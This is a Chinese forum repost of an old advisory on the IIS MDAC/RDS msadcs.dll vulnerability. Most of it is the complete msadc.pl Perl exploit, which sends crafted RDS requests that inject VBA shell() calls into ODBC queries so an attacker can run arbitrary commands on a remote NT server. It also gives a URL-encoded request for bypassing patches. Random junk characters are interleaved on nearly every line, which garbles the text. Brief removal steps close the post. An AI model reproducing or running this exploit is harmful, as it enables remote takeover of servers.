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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 7PF%76TO  
UL9n-M =  
涉及程序: [.}oyz; }N  
Microsoft NT server TJ*T:?>e  
\^1E4C\":  
描述: . 'yCw#f  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 $`'/+x"%  
^/k*h J{  
详细: >5 BJ3Hf  
如果你没有时间读详细内容的话,就删除: d0 /#nz  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Z #m+ObHK1  
有关的安全问题就没有了。 (Awm9|.{+  
G]aOHJ:.  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 t3^&; &[  
U`s{Jm  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 V^~:F  
关于利用ODBC远程漏洞的描述,请参看: Xlt|nX~#;  
>KKMcTOYY  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm !1b;F*H  
)WFr</z5bA  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 *gz{.)W  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp E<*xx#p  
S`]k>' l  
这里不再论述。 "J3x_~,[4m  
[a<SDMR  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ?Ss!e$jf  
h@wgd~X9  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset pmYHUj #  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! !Xw5<J3L-  
|sZHUf_  
5Jnlz@P9  
#将下面这段保存为txt文件,然后: "perl -x 文件名" o3}3p]S\  
r#mx~OVkk  
#!perl -`6+UkOV[x  
# Y`wSv NU  
# MSADC/RDS 'usage' (aka exploit) script 7E!5G2XX~~  
# cQ_Hp <D  
# by rain.forest.puppy "tpSg  
# UJ6v(:z <  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me T^]}Oy@e,J  
# beta test and find errors! Nmh*EAJSy  
B4 }bVjs  
use Socket; use Getopt::Std; he hFEyx  
getopts("e:vd:h:XR", \%args); ^T-V ^^#(  
S:ztXhif>  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; sdmT  
b5n'=doR/I  
if (!defined $args{h} && !defined $args{R}) { lsNd_7k  
print qq~ |]*/R^1>2  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ;i+#fQO7Q  
-h <host> = host you want to scan (ip or domain) 8DaL,bi*.  
-d <seconds> = delay between calls, default 1 second ^sWT:BDh  
-X = dump Index Server path table, if available o2\8OxcA  
-v = verbose 8, >P  
-e = external dictionary file for step 5 d m%8K6|  
"" ZQ/t\  
Or a -R will resume a command session q'MZ R'<@  
\1Em`nvOX  
~; exit;} r" ,GC]  
sCHJ&>m5-  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; "C`Ub  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ]e@Oiq  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} $L]lHji  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ;sFF+^~L  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Nda *L|  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } $PHvA6D  
.#pU=v#/[  
if (!defined $args{R}){ $ret = &has_msadc; UW EV^ &"x  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} t\ewHZG"  
Owk|@6!  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" =odFmF  
. "cmd /c "; )53y AyP  
$in=<STDIN>; chomp $in; du^J2m{f  
$command="cmd /c " . $in ; 65^9  
_:27]K:  
if (defined $args{R}) {&load; exit;} x-3\Ls[I  
<2qr}K{'A  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Hj,A5#|=J  
&try_btcustmr; P7~>mm+  
:9 ^* ^T  
print "\nStep 2: Trying to make our own DSN..."; kMd.h[X~  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; k$^`{6l  
6!FQzFCZq  
print "\nStep 3: Trying known DSNs..."; VP]%Hni]  
&known_dsn; I~XSn>-H  
S{m% H{A!  
print "\nStep 4: Trying known .mdbs..."; A^<iL  
&known_mdb; PwLZkr@4^  
-3Vx76Y  
if (defined $args{e}){ d6 5L!4  
print "\nStep 5: Trying dictionary of DSN names..."; 83q6Sv  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ^y%T~dLkp'  
n.0fVV-A  
print "Sorry Charley...maybe next time?\n"; ZJs$STJ*  
exit; o " #\ >  
IO-Ow!  
############################################################################## [ibu/ W$  
H_Q+&9^/  
sub sendraw { # ripped and modded from whisker 0"bcdG<}  
sleep($delay); # it's a DoS on the server! At least on mine... ea')$gR  
my ($pstr)=@_; g}',(tPMZ  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ~Jz6O U*z  
die("Socket problems\n"); ixD)VcD-f  
if(connect(S,pack "SnA4x8",2,80,$target)){ CzEd8jeh7  
select(S); $|=1; /t"3!Z?BOv  
print $pstr; my @in=<S>; _aT5jR=  
select(STDOUT); close(S); E~oOKQ5W  
return @in; pIX`MlBdF  
} else { die("Can't connect...\n"); }} ?(i{y~  
Jg| XH L)  
############################################################################## d-dEQKI?;  
}9fTF:P  
sub make_header { # make the HTTP request mL: sJf  
my $msadc=<<EOT )hfpwdQ  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 oM`0y@QCf  
User-Agent: ACTIVEDATA L/G6Fjg^  
Host: $ip Z?m3~L9L2  
Content-Length: $clen `+Q%oj#FF  
Connection: Keep-Alive j8lb~0JD  
9;-p'C  
ADCClientVersion:01.06 %8~NqS|=  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 #4 pB@_  
SI-Ops~e  
--!ADM!ROX!YOUR!WORLD! r\V ={p  
Content-Type: application/x-varg U\*J9  
Content-Length: $reqlen AkQ ~k0i}b  
!d0kV,F:  
EOT %OOl'o"V{s  
; $msadc=~s/\n/\r\n/g; `RL"AH:+  
return $msadc;} j#q-^h3H  
.ctw2x5W  
############################################################################## [3|P7?W/  
q5)O%l!  
sub make_req { # make the RDS request ut7zVp<"  
my ($switch, $p1, $p2)=@_; PxDh7{  
my $req=""; my $t1, $t2, $query, $dsn; ]3.;PWa:  
x+@rg];m  
if ($switch==1){ # this is the btcustmr.mdb query N5b!.B x-w  
$query="Select * from Customers where City=" . make_shell(); 'AH0ww_)n  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . DN57p!z  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} o:Sa, !DK  
Z@PmM4F@S  
elsif ($switch==2){ # this is general make table query +!.^zp21  
$query="create table AZZ (B int, C varchar(10))"; wEvVL  
$dsn="$p1";} ?+}_1x`  
|4 0`B% Z  
elsif ($switch==3){ # this is general exploit table query ,wAF:7'  
$query="select * from AZZ where C=" . make_shell(); :^B1~p(?sK  
$dsn="$p1";} O[JL+g4  
6G""I]uT  
elsif ($switch==4){ # attempt to hork file info from index server 7! INkH]  
$query="select path from scope()"; 5taT5?n2  
$dsn="Provider=MSIDXS;";} 7\Y0z  
-z%^)VE  
elsif ($switch==5){ # bad query ExL0?FemWV  
$query="select"; L>4"(  
$dsn="$p1";} -4{<=y?"a  
LuvY<~u  
$t1= make_unicode($query); (V67`Z )  
$t2= make_unicode($dsn); .jjG(L  
$req = "\x02\x00\x03\x00"; H ]Z$OpI  
$req.= "\x08\x00" . pack ("S1", length($t1)); P:MT*ra*,  
$req.= "\x00\x00" . $t1 ; t=W}SH  
$req.= "\x08\x00" . pack ("S1", length($t2)); mSl.mi(JiZ  
$req.= "\x00\x00" . $t2 ; Trz@~d/[,n  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; |imM# wF  
return $req;} hy"\RW  
}*pi<s  
############################################################################## <k'h:KB?`  
1ztG;\  
sub make_shell { # this makes the shell() statement :(*V?WI  
return "'|shell(\"$command\")|'";} K:# I  
*d4 eK+U$5  
############################################################################## =R$u[~Xl2X  
@>Km_Ax  
sub make_unicode { # quick little function to convert to unicode -Cc^d!::  
my ($in)=@_; my $out; ^Q?  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Ig0VW)@  
return $out;} _H7x9 y=  
3eAX.z`D  
############################################################################## }Sh?S]]`  
mLLDE;7|}  
sub rdo_success { # checks for RDO return success (this is kludge) V#gK$uv  
my (@in) = @_; my $base=content_start(@in); gu.}M:u  
if($in[$base]=~/multipart\/mixed/){ v\%HPMlh  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} @>2i+)=E5  
return 0;} rlSeu5X6  
 < !C)x  
############################################################################## ['tY4$L(  
SP_75BJ  
sub make_dsn { # this makes a DSN for us R=2FNP  
my @drives=("c","d","e","f"); 6H WE~`ok6  
print "\nMaking DSN: "; E,x+JeKV  
foreach $drive (@drives) { wc^tgE  
print "$drive: "; ">,|V-H  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ag;pN*z  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" czgO ;3-C  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); " 9wvPC ^  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; yEoF4bt  
return 0 if $2 eq "404"; # not found/doesn't exist Ww+IWW@  
if($2 eq "200") { Ad9}9!<  
foreach $line (@results) { x,pjpx  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} w4{<n /"  
} return 0;} paE[rS\  
3J|F?M"N7  
############################################################################## U}rU~3N  
\aUC(K~o\;  
sub verify_exists { V1 `o%;j  
my ($page)=@_; w(3G&11N?  
my @results=sendraw("GET $page HTTP/1.0\n\n"); K+K#+RBK  
return $results[0];} (Y?gn)*t  
&>W$6>@  
############################################################################## j[G  
t: ;Pj9  
sub try_btcustmr { Y0dEH^I  
my @drives=("c","d","e","f"); x,@B(9No  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Gd xnpE  
V]e8a"/[{  
foreach $dir (@dirs) { g63(E,;;J  
print "$dir -> "; # fun status so you can see progress /cQueUME`  
foreach $drive (@drives) { vDhh>x(  
print "$drive: "; # ditto B:S>wFE(.  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; i0kak`x0  
$reqlenlen=length( "$reqlen" ); }t=!(GOb}  
$clen= 206 + $reqlenlen + $reqlen; }9#r0Vja  
ub#a`  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); CMG&7(MR  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} }Gm>`cw-  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} g-</ua(j  
DIfaVo/"  
############################################################################## ^]0Pfna+N  
:tB1D@Cb6  
sub odbc_error { iDz++VNV  
my (@in)=@_; my $base; :W.(S6O(  
my $base = content_start(@in); p\tm:QWD;  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this kY|utoAP  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; r Iu$pZO  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; S\YTX%Xm}  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; N06OvU2>xU  
return $in[$base+4].$in[$base+5].$in[$base+6];} %G/ hD  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ^?7-r6  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . (pCrmyB  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} FQ7T'G![  
u=?.}Pj  
############################################################################## Q4!_>YZ  
=9boya,>  
sub verbose { z2_*%S@  
my ($in)=@_; .B]MpmpK  
return if !$verbose; IS{wtuA.  
print STDOUT "\n$in\n";} c%2QZC  
~Z?TFg  
############################################################################## j@U]'5EVB  
^Y>F|;M#  
sub save { Vvn2 Ep  
my ($p1, $p2, $p3, $p4)=@_; 2~1SQ.Q<RY  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ll<Xz((o  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; m '|b GV  
close OUT;} oWim}Er=  
FxtQXu-g  
############################################################################## F|o:W75  
, j2Udn}  
sub load { V6&!9b  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Yz/md1T$  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); +`7i 'ff  
@p=<IN>; close(IN); %S@ZXf~:  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); \K{0L  
$target= inet_aton($ip) || die("inet_aton problems"); 9N%We|L,c  
print "Resuming to $ip ..."; XSe=sHEI  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 5T_n %vz  
if($p[1]==1) { 7$vYo _  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; \FbvHr,  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; mPtZO*Fc  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); EyD=q! ZVZ  
if (rdo_success(@results)){print "Success!\n";} q77;ZPfs8  
else { print "failed\n"; verbose(odbc_error(@results));}} /ivJsPH  
elsif ($p[1]==3){ &Fzb6/  
if(run_query("$p[3]")){ B:;pvW]  
print "Success!\n";} else { print "failed\n"; }} i&Tbz!  
elsif ($p[1]==4){ uGf@  
if(run_query($drvst . "$p[3]")){ ( iBl   
print "Success!\n"; } else { print "failed\n"; }}  3s,g*  
exit;} .779pT!,M  
?cBwPetp  
############################################################################## G~^r)fm_  
]YnD  
sub create_table { fNli  
my ($in)=@_; Xtq_y'I  
$reqlen=length( make_req(2,$in,"") ) - 28; 7 S#J>*  
$reqlenlen=length( "$reqlen" ); UqFO|r"M  
$clen= 206 + $reqlenlen + $reqlen; ^pAAzr"hv  
my @results=sendraw(make_header() . make_req(2,$in,"")); E"\<s3  
return 1 if rdo_success(@results); 53;}Nt#R  
my $temp= odbc_error(@results); verbose($temp); xjuN-  
return 1 if $temp=~/Table 'AZZ' already exists/; ?*G|XnM&  
return 0;} c?f4Q,%|  
uB]7G0g:  
############################################################################## $<dH?%!7  
;v)JnbsH}  
sub known_dsn { ld|5TN1  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go G6q }o)[m)  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", fn jPSts0  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", F 5bj=mI  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); <Dl*l{zba  
VuhGx:Xl  
foreach $dSn (@dsns) { *KZYv=s,u  
print "."; ?mwt~_s9  
next if (!is_access("DSN=$dSn")); ]^.  _z  
if(create_table("DSN=$dSn")){ U2tV4_ e  
print "$dSn successful\n"; iW]j9}t  
if(run_query("DSN=$dSn")){ 75cW_t,g  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { :}L[sl\R  
print "Something's borked. Use verbose next time\n";}}} print "\n";} U8s2|G;K  
3 Gp$a;g  
############################################################################## '1P2$#  
[i21FX  
sub is_access { 9N#_( uwt  
my ($in)=@_; a+[KI  
$reqlen=length( make_req(5,$in,"") ) - 28; *)$Uvw E  
$reqlenlen=length( "$reqlen" ); >a!/QMh  
$clen= 206 + $reqlenlen + $reqlen; )#0O>F~  
my @results=sendraw(make_header() . make_req(5,$in,"")); >Eyt17_H"n  
my $temp= odbc_error(@results); ^b4 9  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); |sJ[0z  
return 0;} vjbASFF0=  
y2Q&s 9$Do  
############################################################################## Maha$n*  
d\&U*=  
sub run_query { /kZebNf6H  
my ($in)=@_; e&|'I"  
$reqlen=length( make_req(3,$in,"") ) - 28; @ wGPqg  
$reqlenlen=length( "$reqlen" ); SB;&GHq"n  
$clen= 206 + $reqlenlen + $reqlen; G, }Yl  
my @results=sendraw(make_header() . make_req(3,$in,"")); !fV+z%:  
return 1 if rdo_success(@results); Avge eJi  
my $temp= odbc_error(@results); verbose($temp); j"t(0 m  
return 0;} IA fc T!{  
1*P~!2h  
############################################################################## .wEd"A&j  
*<$*"p  
sub known_mdb { ttaM.  
my @drives=("c","d","e","f","g"); L4@K~8j7  
my @dirs=("winnt","winnt35","winnt351","win","windows"); B?eCe}*f;B  
my $dir, $drive, $mdb; 0JWDtmK=C  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; !j8FIY'[  
-V*R\,>  
# this is sparse, because I don't know of many GL>O4S<`  
my @sysmdbs=( "\\catroot\\icatalog.mdb",  R~TTL  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", bWjc'P6rx  
"\\system32\\certmdb.mdb", a{L%7  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% fbyd"(V 8r  
2 ~dE<}  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", bbDZ#DK"  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 8 `v-<J  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", n2"a{Ofhlf  
"\\cfusion\\cfapps\\security\\realm_.mdb", gldAP:  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ^rB8? kt  
"\\cfusion\\database\\cfexamples.mdb", 6B8VfQ9[  
"\\cfusion\\database\\cfsnippets.mdb", z 4e7PW|  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", =Pyj%4Rs  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", [$ubNk;!z  
"\\cfusion\\brighttiger\\database\\cleam.mdb", lB8-Z ow  
"\\cfusion\\database\\smpolicy.mdb", lne|5{h  
"\\cfusion\\database\cypress.mdb", I {SjlN}d  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Eh)fnqs_d}  
"\\website\\cgi-win\\dbsample.mdb", o@_q]/Mh  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", \ ,'m</o~,  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Oz75V|D  
); #these are just 0G(/Wb"/  
foreach $drive (@drives) { U"~>jZKk  
foreach $dir (@dirs){ D5gFXEeh  
foreach $mdb (@sysmdbs) { s-NX o  
print "."; eFB5=)ld  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ CYf$nYR  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Zcey|m*|  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ]"pVj6O  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; v1#otrf  
} else { print "Something's borked. Use verbose next time\n"; }}}}} N_LM/of|D  
IY1 //9  
foreach $drive (@drives) { 8$] 1M,$r  
foreach $mdb (@mdbs) { j}#w )M  
print "."; A\*>TN>s  
if(create_table($drv . $drive . $dir . $mdb)){ Ky`qskvu  
print "\n" . $drive . $dir . $mdb . " successful\n"; =?5]()'*n  
if(run_query($drv . $drive . $dir . $mdb)){ w$>u b@=  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 8:q1~`?5"b  
} else { print "Something's borked. Use verbose next time\n"; }}}} L@rcK!s,lD  
} p . %]Q*8  
#]-SJWf3  
############################################################################## ;'gWu  
xW+6qtG`  
sub hork_idx { 9V a}I-  
print "\nAttempting to dump Index Server tables...\n"; '"52uZ{  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; QDZWX`qw{  
$reqlen=length( make_req(4,"","") ) - 28; m%0p\Y-/  
$reqlenlen=length( "$reqlen" ); I<DL=V  
$clen= 206 + $reqlenlen + $reqlen; 7:e{;iG  
my @results=sendraw2(make_header() . make_req(4,"","")); b8H{8{wi|  
if (rdo_success(@results)){ 5G}?fSQ>  
my $max=@results; my $c; my %d; Q1lyj7c#x  
for($c=19; $c<$max; $c++){ V~qNyOtA]  
$results[$c]=~s/\x00//g; ~ \r*  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; HGl|-nW>  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; TbMW|0 #w  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; \a<wKTkn  
$d{"$1$2"}="";} hy9\57_#  
foreach $c (keys %d){ print "$c\n"; } 1l9 G[o *  
} else {print "Index server doesn't seem to be installed.\n"; }} Oz.HH  
EX*HiZU>  
############################################################################## (xycJ`N  
?C]vS_jAh  
sub dsn_dict { >:SHV W  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); PhLn8jNti  
while(<IN>){ ]iVcog"T  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; pt?bWyKG  
next if (!is_access("DSN=$dSn")); NCveSP  
if(create_table("DSN=$dSn")){ )',R[|<  
print "$dSn successful\n"; Q;Ak4 [  
if(run_query("DSN=$dSn")){ $Ph|e)p  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 2 'l'8  
print "Something's borked. Use verbose next time\n";}}} pR<`H'  
print "\n"; close(IN);} SV4E0c>  
C-xr"]#]  
############################################################################## v{RZJ^1  
#{0HYg?(f  
sub sendraw2 { # ripped and modded from whisker W@>% {eE  
sleep($delay); # it's a DoS on the server! At least on mine... &{5,:%PXw  
my ($pstr)=@_; VCYwzB  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || , };& tR  
die("Socket problems\n"); Y!xF ;a  
if(connect(S,pack "SnA4x8",2,80,$target)){ F k7?xc  
print "Connected. Getting data"; " > ypIR<  
open(OUT,">raw.out"); my @in; $L `d&$Vh  
select(S); $|=1; print $pstr; 'JtBZFq  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Y+pHd\$-4  
close(OUT); select(STDOUT); close(S); return @in; I]|Pq  
} else { die("Can't connect...\n"); }} oE @a'*.\  
3l]lwV  
############################################################################## 'B$yo]  
&/Z /Y ]  
sub content_start { # this will take in the server headers _1X!EH"  
my (@in)=@_; my $c; BX/8O<s0  
for ($c=1;$c<500;$c++) { 7jrt7[{  
if($in[$c] =~/^\x0d\x0a/){ t mn tp  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } y<UK:^t31V  
else { return $c+1; }}} S E<FL/x1#  
return -1;} # it should never get here actually 2F;y;l%  
$V;i '(&7  
############################################################################## _{ue8kGt  
Gf6p'(\zun  
sub funky { E*& vy  
my (@in)=@_; my $error=odbc_error(@in); Ha#= (9.  
if($error=~/ADO could not find the specified provider/){ d2FswF$C  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; -12UN(&&Z  
exit;}  ,i NXK  
if($error=~/A Handler is required/){ @ )F)S 7  
print "\nServer has custom handler filters (they most likely are patched)\n"; eSn+B;  
exit;} 1y &\5kB  
if($error=~/specified Handler has denied Access/){ @3i\%R)n;  
print "\nServer has custom handler filters (they most likely are patched)\n"; J6"9v;V  
exit;}} -]Bq|qTH[(  
>tS'Q`R  
############################################################################## d7^}tM  
1dY}\Sp  
sub has_msadc { PN%zIkbo  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ';Ea?ID  
my $base=content_start(@results); UBKu /@[f@  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); n6=By|jRh  
return 0;} D>r&}6<  
&A/]pi-\  
########################  0q  
wSL}`CgU  
O^PKn_OJ  
解决方案: G&SB-  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll x^qVw5{n  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 mM~qBrwL  
Mexk~z A^  
拿出来充数 哈哈
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